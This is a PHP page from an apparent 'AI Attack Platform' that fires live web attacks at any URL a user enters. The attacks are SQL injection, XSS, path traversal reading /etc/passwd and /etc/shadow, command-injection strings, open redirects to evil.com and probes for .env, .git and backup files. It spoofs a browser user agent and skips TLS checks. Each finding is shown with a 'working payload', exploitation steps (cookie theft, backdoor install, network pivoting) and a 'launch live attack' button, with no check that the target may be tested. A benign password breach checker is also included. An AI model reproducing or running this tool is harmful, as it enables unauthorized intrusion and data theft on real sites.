<?php
require_once 'config.php';
requireLogin();

$message = '';
$scanResult = null;
$selectedTargetUrl = '';
$passwordCheckResult = null;

// Handle password breach check
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['check_password'])) {
    $passwordToCheck = isset($_POST['password']) ? $_POST['password'] : '';
    $passwordCheckResult = checkPasswordBreach($passwordToCheck);
}

// Handle scan
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['scan_url'])) {
    $targetUrl = isset($_POST['target_url']) ? $_POST['target_url'] : '';
    $selectedTargetUrl = $targetUrl;
    
    if (!empty($targetUrl)) {
        $scanResult = performLiveScan($targetUrl);
        
        if (count($scanResult['vulnerabilities']) > 0) {
            $message = "Scan complete! Found " . count($scanResult['vulnerabilities']) . " vulnerabilities.";
        } else {
            $message = "Scan complete! No vulnerabilities found.";
        }
        
        // Log the scan
        logAttack($targetUrl, 'Vulnerability Scan', '', json_encode($scanResult), 'Medium');
    } else {
        $message = "Please enter a valid URL.";
    }
}

function performLiveScan($url) {
    $vulnerabilities = array();
    
    // Validate URL
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return array(
            'url' => $url,
            'vulnerabilities' => array(),
            'error' => 'Invalid URL format'
        );
    }
    
    // Test 1: SQL Injection
    $sqlResult = testSQLInjection($url);
    if ($sqlResult) {
        $vulnerabilities[] = $sqlResult;
    }
    
    // Test 2: XSS
    $xssResult = testXSS($url);
    if ($xssResult) {
        $vulnerabilities[] = $xssResult;
    }
    
    // Test 3: Path Traversal
    $pathResult = testPathTraversal($url);
    if ($pathResult) {
        $vulnerabilities[] = $pathResult;
    }
    
    // Test 4: Command Injection
    $cmdResult = testCommandInjection($url);
    if ($cmdResult) {
        $vulnerabilities[] = $cmdResult;
    }
    
    // Test 5: Admin/Common Paths
    $adminResults = testAdminPaths($url);
    if ($adminResults) {
        foreach ($adminResults as $vuln) {
            $vulnerabilities[] = $vuln;
        }
    }
    
    // Test 6: Open Redirect
    $redirectResult = testOpenRedirect($url);
    if ($redirectResult) {
        $vulnerabilities[] = $redirectResult;
    }
    
    return array(
        'url' => $url,
        'vulnerabilities' => $vulnerabilities,
        'timestamp' => date('Y-m-d H:i:s'),
        'scan_type' => 'Comprehensive Scan'
    );
}

function testSQLInjection($url) {
    $payloads = array(
        "'",
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "admin' --",
        "admin' #",
        "' UNION SELECT NULL--",
        "' UNION SELECT NULL,NULL--",
        "' UNION SELECT NULL,NULL,NULL--",
        "1' AND '1'='1",
        "1' AND '1'='2",
        "' OR 1=1--",
        "1' ORDER BY 1--",
        "1' ORDER BY 100--"
    );
    
    foreach ($payloads as $payload) {
        $testUrl = addParameterToUrl($url, 'test', $payload);
        $response = makeHttpRequest($testUrl);
        
        // Check for SQL errors
        $sqlErrors = array(
            'SQL syntax', 'mysql_fetch', 'ORA-', 'PostgreSQL', 'SQLite',
            'Unclosed quotation', 'You have an error in your SQL',
            'Warning: mysql', 'MySQL Error', 'ODBC Driver',
            'SQLSTATE', 'syntax error', 'unexpected token',
            'check the manual that corresponds to your MySQL server',
            'Microsoft OLE DB Provider for ODBC Drivers',
            'Microsoft OLE DB Provider for SQL Server',
            'Unclosed quotation mark',
            'supplied argument is not a valid MySQL'
        );
        
        foreach ($sqlErrors as $error) {
            if (stripos($response['body'], $error) !== false) {
                return array(
                    'type' => 'SQL Injection',
                    'severity' => 'Critical',
                    'parameter' => 'test',
                    'payload' => $payload,
                    'evidence' => 'Database error detected: ' . $error,
                    'impact' => 'Complete database compromise, data theft, authentication bypass',
                    'steps' => "1. Inject payload: " . $payload . "\n2. Observe database errors\n3. Extract data using UNION queries\n4. Dump database contents",
                    'remediation' => 'Use parameterized queries/prepared statements. Never concatenate user input into SQL queries.',
                    'response_code' => $response['http_code']
                );
            }
        }
        
        // Check for successful injection (different response than normal)
        if ($response['http_code'] == 500 || $response['http_code'] == 503) {
            return array(
                'type' => 'Potential SQL Injection',
                'severity' => 'High',
                'parameter' => 'test',
                'payload' => $payload,
                'evidence' => 'Server error (HTTP ' . $response['http_code'] . ') indicates possible SQL injection',
                'impact' => 'Possible database compromise',
                'steps' => "1. The payload caused a server error\n2. Try blind SQL injection techniques\n3. Use sqlmap for further testing",
                'remediation' => 'Use parameterized queries/prepared statements.',
                'response_code' => $response['http_code']
            );
        }
    }
    
    return null;
}

function testXSS($url) {
    $payloads = array(
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert(1)>",
        "<svg onload=alert(1)>",
        "javascript:alert('XSS')",
        '"><script>alert(1)</script>',
        "'><script>alert(1)</script>",
        "<body onload=alert(1)>",
        "<iframe src=javascript:alert(1)>",
        "<<script>>alert(1)<</script>>",
        "%3Cscript%3Ealert(1)%3C/script%3E"
    );
    
    foreach ($payloads as $payload) {
        $testUrl = addParameterToUrl($url, 'xss', $payload);
        $response = makeHttpRequest($testUrl);
        
        // Check if payload is reflected unencoded
        if (strpos($response['body'], $payload) !== false) {
            // Check if it's properly encoded
            $encoded = htmlspecialchars($payload, ENT_QUOTES);
            if (strpos($response['body'], $encoded) === false) {
                return array(
                    'type' => 'Cross-Site Scripting (XSS)',
                    'severity' => 'High',
                    'parameter' => 'xss',
                    'payload' => $payload,
                    'evidence' => 'Payload reflected unencoded in HTML response',
                    'impact' => 'Session hijacking, credential theft, website defacement',
                    'steps' => "1. Inject: " . $payload . "\n2. Check if script executes\n3. Steal cookies with document.cookie\n4. Redirect users to phishing sites",
                    'remediation' => 'Use htmlspecialchars() for output encoding. Implement Content-Security-Policy headers.',
                    'response_code' => $response['http_code']
                );
            }
        }
    }
    
    return null;
}

function testPathTraversal($url) {
    $payloads = array(
        '../../../etc/passwd',
        '..\\..\\..\\windows\\win.ini',
        '....//....//....//etc/passwd',
        '/etc/passwd',
        '/etc/hosts',
        'C:\\Windows\\System32\\drivers\\etc\\hosts',
        '../../../../etc/shadow',
        '..%2F..%2F..%2Fetc%2Fpasswd',
        '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
    );
    
    foreach ($payloads as $payload) {
        $testUrl = addParameterToUrl($url, 'file', $payload);
        $response = makeHttpRequest($testUrl);
        
        $patterns = array(
            'root:x:', 'bin/bash', 'daemon:', 'nobody:',
            'www-data:', '[extensions]', 'boot loader',
            'Windows Registry', '[fonts]', '[drivers]'
        );
        
        foreach ($patterns as $pattern) {
            if (stripos($response['body'], $pattern) !== false) {
                return array(
                    'type' => 'Path Traversal',
                    'severity' => 'High',
                    'parameter' => 'file',
                    'payload' => $payload,
                    'evidence' => 'System file contents detected: ' . $pattern,
                    'impact' => 'Arbitrary file reading, source code theft, credential exposure',
                    'steps' => "1. Inject: " . $payload . "\n2. Read sensitive files\n3. Extract configuration files\n4. Access database credentials",
                    'remediation' => 'Sanitize file paths. Use basename(). Implement whitelist of allowed files.',
                    'response_code' => $response['http_code']
                );
            }
        }
    }
    
    return null;
}

function testCommandInjection($url) {
    $payloads = array(
        '; ls -la',
        '| ls -la',
        '&& ls -la',
        '|| ls -la',
        '`ls -la`',
        '$(ls -la)',
        '; cat /etc/passwd',
        '| cat /etc/passwd',
        '; dir',
        '| dir',
        '&& dir',
        '; ping -c 3 127.0.0.1',
        '| ping -c 3 127.0.0.1'
    );
    
    foreach ($payloads as $payload) {
        $testUrl = addParameterToUrl($url, 'cmd', $payload);
        $response = makeHttpRequest($testUrl);
        
        $cmdIndicators = array(
            'uid=', 'gid=', 'www-data', 'root:',
            'total ', 'drwx', 'Directory of',
            'Volume Serial Number', 'bytes free'
        );
        
        foreach ($cmdIndicators as $indicator) {
            if (stripos($response['body'], $indicator) !== false) {
                return array(
                    'type' => 'Command Injection',
                    'severity' => 'Critical',
                    'parameter' => 'cmd',
                    'payload' => $payload,
                    'evidence' => 'Command output detected: ' . $indicator,
                    'impact' => 'Remote code execution, full server compromise',
                    'steps' => "1. Inject: " . $payload . "\n2. Execute arbitrary commands\n3. Install backdoor\n4. Pivot to internal network",
                    'remediation' => 'Never pass user input to system commands. Use escapeshellarg() if necessary.',
                    'response_code' => $response['http_code']
                );
            }
        }
    }
    
    return null;
}

function testAdminPaths($url) {
    $vulnerabilities = array();
    
    $parsed = parse_url($url);
    $baseUrl = $parsed['scheme'] . '://' . $parsed['host'];
    if (isset($parsed['port'])) {
        $baseUrl .= ':' . $parsed['port'];
    }
    
    $paths = array(
        '/admin',
        '/admin.php',
        '/wp-admin',
        '/dashboard',
        '/login',
        '/phpinfo.php',
        '/info.php',
        '/config.php',
        '/.env',
        '/backup.zip',
        '/backup.sql',
        '/database.sql',
        '/robots.txt',
        '/sitemap.xml',
        '/.git/HEAD',
        '/.svn/entries',
        '/wp-config.php',
        '/console',
        '/debug',
        '/test.php',
        '/phpmyadmin',
        '/.well-known/security.txt'
    );
    
    foreach ($paths as $path) {
        $testUrl = rtrim($baseUrl, '/') . $path;
        $response = makeHttpRequest($testUrl);
        
        if ($response['http_code'] == 200) {
            $vulnerabilities[] = array(
                'type' => 'Information Disclosure',
                'severity' => 'Medium',
                'parameter' => 'Endpoint',
                'payload' => $path,
                'evidence' => 'Found accessible endpoint: ' . $path . ' (HTTP 200)',
                'impact' => 'Exposure of admin panels, configuration files, or sensitive data',
                'steps' => "1. Navigate to: " . $testUrl . "\n2. Review exposed content\n3. Look for credentials or sensitive information",
                'remediation' => 'Restrict access to sensitive paths. Implement authentication. Remove debug files.',
                'response_code' => 200
            );
        }
        
        if ($response['http_code'] == 403) {
            $vulnerabilities[] = array(
                'type' => 'Restricted Resource Discovered',
                'severity' => 'Low',
                'parameter' => 'Endpoint',
                'payload' => $path,
                'evidence' => 'Found restricted endpoint: ' . $path . ' (HTTP 403)',
                'impact' => 'Information about protected resources',
                'steps' => "1. Endpoint exists but is protected\n2. Try bypass techniques\n3. Attempt authentication bypass",
                'remediation' => 'Ensure proper access controls are in place.',
                'response_code' => 403
            );
        }
    }
    
    return $vulnerabilities;
}

function testOpenRedirect($url) {
    $payloads = array(
        'https://evil.com',
        '//evil.com',
        '\\\\evil.com',
        'https:evil.com',
        'https://google.com%40evil.com'
    );
    
    foreach ($payloads as $payload) {
        $testUrl = addParameterToUrl($url, 'redirect', $payload);
        $response = makeHttpRequest($testUrl, false); // Don't follow redirects
        
        if (in_array($response['http_code'], array(301, 302, 303, 307, 308))) {
            $locationHeader = '';
            if (preg_match('/Location: (.*)/i', $response['headers'], $matches)) {
                $locationHeader = trim($matches[1]);
            }
            
            if (strpos($locationHeader, $payload) !== false || 
                strpos($locationHeader, 'evil.com') !== false) {
                return array(
                    'type' => 'Open Redirect',
                    'severity' => 'Medium',
                    'parameter' => 'redirect',
                    'payload' => $payload,
                    'evidence' => 'Redirects to: ' . $locationHeader,
                    'impact' => 'Phishing attacks, redirect users to malicious sites',
                    'steps' => "1. Inject redirect payload\n2. User redirected to attacker site\n3. Phishing or malware delivery",
                    'remediation' => 'Validate redirect URLs against whitelist. Use relative paths only.',
                    'response_code' => $response['http_code']
                );
            }
        }
    }
    
    return null;
}

function addParameterToUrl($url, $param, $value) {
    $parsed = parse_url($url);
    $queryParams = array();
    
    if (isset($parsed['query'])) {
        parse_str($parsed['query'], $queryParams);
    }
    
    $queryParams[$param] = $value;
    
    $scheme = $parsed['scheme'] ?? 'http';
    $host = $parsed['host'] ?? 'localhost';
    $path = $parsed['path'] ?? '/';
    
    $query = http_build_query($queryParams);
    
    $port = isset($parsed['port']) ? ':' . $parsed['port'] : '';
    
    return "{$scheme}://{$host}{$port}{$path}?{$query}";
}

function makeHttpRequest($url, $followRedirects = true) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $followRedirects);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');
    curl_setopt($ch, CURLOPT_HEADER, true);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $error = curl_error($ch);
    curl_close($ch);
    
    $headers = substr($response, 0, $headerSize);
    $body = substr($response, $headerSize);
    
    return array(
        'headers' => $headers,
        'body' => $body,
        'http_code' => $httpCode,
        'error' => $error
    );
}

function checkPasswordBreach($password) {
    $sha1Hash = strtoupper(sha1($password));
    $prefix = substr($sha1Hash, 0, 5);
    $suffix = substr($sha1Hash, 5);
    
    $url = "https://api.pwnedpasswords.com/range/" . $prefix;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $lines = explode("\n", $response);
        foreach ($lines as $line) {
            if (strpos($line, $suffix) === 0) {
                $parts = explode(':', $line);
                $count = isset($parts[1]) ? intval($parts[1]) : 0;
                return array(
                    'breached' => true,
                    'count' => $count,
                    'message' => "⚠️ This password has been found in " . $count . " data breaches! Change it immediately."
                );
            }
        }
    }
    
    return array(
        'breached' => false,
        'count' => 0,
        'message' => "✅ Good news! This password was not found in known data breaches."
    );
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>⚔️ AI Attack Mode - <?php echo APP_NAME; ?></title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #0a0a0a 0%, #1a1a2e 50%, #16213e 100%);
            min-height: 100vh;
            color: #fff;
        }
        .container { max-width: 1200px; margin: 0 auto; padding: 20px; }
        
        .navbar {
            background: rgba(255,255,255,0.05);
            backdrop-filter: blur(10px);
            padding: 15px 20px;
            border-radius: 15px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border: 1px solid rgba(255,255,255,0.1);
        }
        .navbar h1 { 
            font-size: 24px; 
            background: linear-gradient(45deg, #ff6b6b, #ffd93d); 
            -webkit-background-clip: text; 
            -webkit-text-fill-color: transparent; 
        }
        .nav-links a {
            color: #fff;
            text-decoration: none;
            margin-left: 15px;
            padding: 8px 15px;
            border-radius: 8px;
            transition: all 0.3s;
            font-size: 14px;
        }
        .nav-links a:hover, .nav-links a.active { 
            background: #ff6b6b; 
            color: white; 
        }
        .nav-links a.logout { 
            background: rgba(255,255,255,0.1); 
        }
        .nav-links a.logout:hover { 
            background: #dc3545; 
        }
        
        .card {
            background: rgba(255,255,255,0.05);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 30px;
            margin-bottom: 20px;
            border: 1px solid rgba(255,255,255,0.1);
        }
        
        .form-group { margin-bottom: 20px; }
        .form-group label { 
            display: block; 
            margin-bottom: 8px; 
            font-weight: bold; 
            color: #ff6b6b; 
        }
        .form-group input {
            width: 100%;
            padding: 12px;
            background: rgba(255,255,255,0.1);
            border: 1px solid rgba(255,255,255,0.2);
            border-radius: 8px;
            color: white;
            font-size: 16px;
        }
        .form-group input:focus { 
            border-color: #ff6b6b; 
            outline: none; 
        }
        
        .btn-attack {
            background: linear-gradient(45deg, #ff6b6b, #ee5a24);
            color: white;
            border: none;
            padding: 12px 30px;
            border-radius: 8px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s;
        }
        .btn-attack:hover { 
            transform: scale(1.05); 
            box-shadow: 0 5px 20px rgba(255,107,107,0.4); 
        }
        
        .vulnerability-card {
            background: rgba(0,0,0,0.3);
            border-left: 4px solid #ff6b6b;
            padding: 20px;
            margin: 20px 0;
            border-radius: 10px;
            animation: slideIn 0.5s ease;
        }
        
        @keyframes slideIn {
            from { opacity: 0; transform: translateX(-20px); }
            to { opacity: 1; transform: translateX(0); }
        }
        
        .critical { border-left-color: #ff0000; }
        .high { border-left-color: #ff6b6b; }
        .medium { border-left-color: #ffd93d; }
        .low { border-left-color: #6bcf7f; }
        
        .payload-box {
            background: #1e1e1e;
            border: 1px solid #333;
            padding: 15px;
            border-radius: 8px;
            font-family: 'Courier New', monospace;
            color: #0f0;
            margin: 10px 0;
            overflow-x: auto;
        }
        
        .evidence-box {
            background: rgba(255,107,107,0.1);
            padding: 10px;
            border-radius: 5px;
            margin: 10px 0;
            border: 1px solid rgba(255,107,107,0.3);
        }
        
        .alert {
            background: rgba(255,107,107,0.2);
            border: 1px solid #ff6b6b;
            color: white;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        
        .alert-success {
            background: rgba(107,207,127,0.2);
            border: 1px solid #6bcf7f;
        }
        
        details { margin: 10px 0; }
        details summary { 
            cursor: pointer; 
            color: #ff6b6b; 
            font-weight: bold;
            padding: 5px 0;
        }
        
        .scan-summary {
            background: linear-gradient(135deg, rgba(99,102,241,0.2), rgba(168,85,247,0.2));
            padding: 20px;
            border-radius: 10px;
            text-align: center;
            margin-bottom: 20px;
        }
        
        .vulnerability-count { 
            font-size: 48px; 
            font-weight: bold; 
            color: #ff6b6b;
        }
        
        .btn-live-attack {
            background: #dc3545;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 8px;
            cursor: pointer;
            margin-top: 15px;
            font-weight: bold;
        }
        
        .btn-live-attack:hover {
            background: #c82333;
            transform: scale(1.05);
        }

        .loading {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 3px solid rgba(255,255,255,0.3);
            border-radius: 50%;
            border-top-color: #fff;
            animation: spin 1s ease-in-out infinite;
            margin-left: 10px;
        }

        @keyframes spin {
            to { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Navigation -->
        <nav class="navbar">
            <div class="logo">
                <h1>⚔️ AI Attack Platform</h1>
            </div>
            <div class="nav-links">
                <a href="index.php">Dashboard</a>
                <a href="attack.php" class="active">Attack Mode</a>
                <a href="defense.php">Defense Mode</a>
                <a href="malware_analysis.php">Malware Analysis</a>
                <a href="reports.php">Reports</a>
                <a href="index.php?logout=1" class="logout">Logout</a>
            </div>
        </nav>
        
        <?php if($message): ?>
        <div class="alert <?php echo strpos($message, 'No vulnerabilities') !== false ? 'alert-success' : ''; ?>">
            <?php echo htmlspecialchars($message); ?>
        </div>
        <?php endif; ?>
        
        <!-- Scan Form -->
        <div class="card">
            <h2>🔍 Vulnerability Scanner</h2>
            <p style="color: #888; margin-bottom: 20px;">Enter any URL to test for security vulnerabilities</p>
            <form method="POST" action="" id="scanForm" onsubmit="showLoading()">
                <div class="form-group">
                    <label>Target URL:</label>
                    <input type="url" name="target_url" id="targetUrl" 
                           placeholder="https://example.com/page.php?id=1" required 
                           value="<?php echo htmlspecialchars($selectedTargetUrl); ?>">
                </div>
                <button type="submit" name="scan_url" class="btn-attack" id="scanBtn">
                    🔍 Start Scan
                </button>
                <span id="loadingIndicator" class="loading" style="display: none;"></span>
            </form>
        </div>
        
        <!-- Password Breach Checker -->
        <div class="card" style="background: linear-gradient(135deg, rgba(99,102,241,0.2), rgba(168,85,247,0.2));">
            <h3>🔐 Password Breach Checker</h3>
            <p style="color: #888;">Check if a password has been exposed in data breaches</p>
            <form method="POST" action="">
                <div style="display: flex; gap: 10px; margin-top: 15px;">
                    <input type="password" name="password" placeholder="Enter password to check" required style="flex:1; padding: 12px; background: rgba(255,255,255,0.1); border: 1px solid rgba(255,255,255,0.2); border-radius: 8px; color: white;">
                    <button type="submit" name="check_password" class="btn-attack" style="white-space: nowrap;">Check Breach Status</button>
                </div>
            </form>
            <?php if($passwordCheckResult): ?>
            <div style="margin-top: 15px; padding: 15px; border-radius: 8px; background: <?php echo $passwordCheckResult['breached'] ? 'rgba(220,53,69,0.3)' : 'rgba(107,207,127,0.3)'; ?>; color: white;">
                <?php echo htmlspecialchars($passwordCheckResult['message']); ?>
            </div>
            <?php endif; ?>
        </div>
        
        <!-- Scan Results -->
        <?php if($scanResult && !empty($scanResult['vulnerabilities'])): ?>
        <div class="scan-summary">
            <div class="vulnerability-count"><?php echo count($scanResult['vulnerabilities']); ?></div>
            <div>Vulnerabilities Detected</div>
            <div style="color: #888;">Target: <?php echo htmlspecialchars($scanResult['url']); ?></div>
            <div style="color: #888;">Scan Time: <?php echo $scanResult['timestamp']; ?></div>
        </div>
        
        <?php foreach($scanResult['vulnerabilities'] as $vuln): ?>
        <div class="vulnerability-card <?php echo strtolower($vuln['severity']); ?>">
            <h3 style="color: <?php echo $vuln['severity'] === 'Critical' ? '#ff0000' : ($vuln['severity'] === 'High' ? '#ff6b6b' : '#ffd93d'); ?>;">
                ⚠️ <?php echo htmlspecialchars($vuln['type']); ?>
            </h3>
            <span style="background: <?php echo $vuln['severity'] === 'Critical' ? '#ff0000' : ($vuln['severity'] === 'High' ? '#ff6b6b' : '#ffd93d'); ?>; 
                  padding: 3px 10px; border-radius: 20px; font-size: 12px; color: white;">
                <?php echo $vuln['severity']; ?> Severity
            </span>
            
            <p style="margin-top: 10px;"><strong>📍 Parameter:</strong> <code><?php echo htmlspecialchars($vuln['parameter']); ?></code></p>
            
            <p><strong>💣 Working Payload:</strong></p>
            <div class="payload-box"><?php echo htmlspecialchars($vuln['payload']); ?></div>
            
            <div class="evidence-box">
                <strong>🔬 Evidence:</strong><br>
                <?php echo htmlspecialchars($vuln['evidence']); ?>
                <?php if(isset($vuln['response_code'])): ?>
                <br><small>HTTP Response: <?php echo $vuln['response_code']; ?></small>
                <?php endif; ?>
            </div>
            
            <p><strong>💥 Impact:</strong> <?php echo htmlspecialchars($vuln['impact']); ?></p>
            
            <details>
                <summary>📖 Exploitation Steps</summary>
                <div style="padding: 10px; background: rgba(0,0,0,0.2); border-radius: 5px; margin-top: 10px;">
                    <?php echo nl2br(htmlspecialchars($vuln['steps'])); ?>
                </div>
            </details>
            
            <details>
                <summary>🛡️ Remediation</summary>
                <div style="padding: 10px; background: rgba(107,207,127,0.1); border-radius: 5px; margin-top: 10px;">
                    <?php echo nl2br(htmlspecialchars($vuln['remediation'])); ?>
                </div>
            </details>
            
            <button class="btn-live-attack" onclick="launchLiveAttack('<?php echo htmlspecialchars(addslashes($vuln['type'])); ?>', '<?php echo htmlspecialchars($scanResult['url']); ?>', '<?php echo htmlspecialchars(addslashes($vuln['payload'])); ?>', '<?php echo htmlspecialchars($vuln['parameter']); ?>')">
                🚀 LAUNCH LIVE ATTACK
            </button>
        </div>
        <?php endforeach; ?>
        
        <?php elseif($scanResult && empty($scanResult['vulnerabilities'])): ?>
        <div class="scan-summary" style="background: linear-gradient(135deg, rgba(107,207,127,0.2), rgba(40,167,69,0.2));">
            <div style="font-size: 24px;">✅ No Vulnerabilities Found</div>
            <div style="color: #888;">Target: <?php echo htmlspecialchars($scanResult['url']); ?></div>
            <p style="margin-top: 10px;">The basic scan didn't find obvious vulnerabilities. Try a deeper scan or test different parameters.</p>
        </div>
        <?php endif; ?>
    </div>
    
    <script>
    function showLoading() {
        document.getElementById('loadingIndicator').style.display = 'inline-block';
        document.getElementById('scanBtn').disabled = true;
    }
    
    function launchLiveAttack(type, url, payload, parameter) {
        var attackWindow = window.open(
            'live_attack.php?type=' + encodeURIComponent(type) + 
            '&url=' + encodeURIComponent(url) + 
            '&payload=' + encodeURIComponent(payload) + 
            '&parameter=' + encodeURIComponent(parameter),
            'LiveAttack',
            'width=1400,height=900,menubar=no,toolbar=no,location=no,status=no,scrollbars=yes'
        );
        
        if (!attackWindow) {
            alert('Please allow pop-ups to see the live attack simulation');
        }
    }
    </script>
</body>
</html>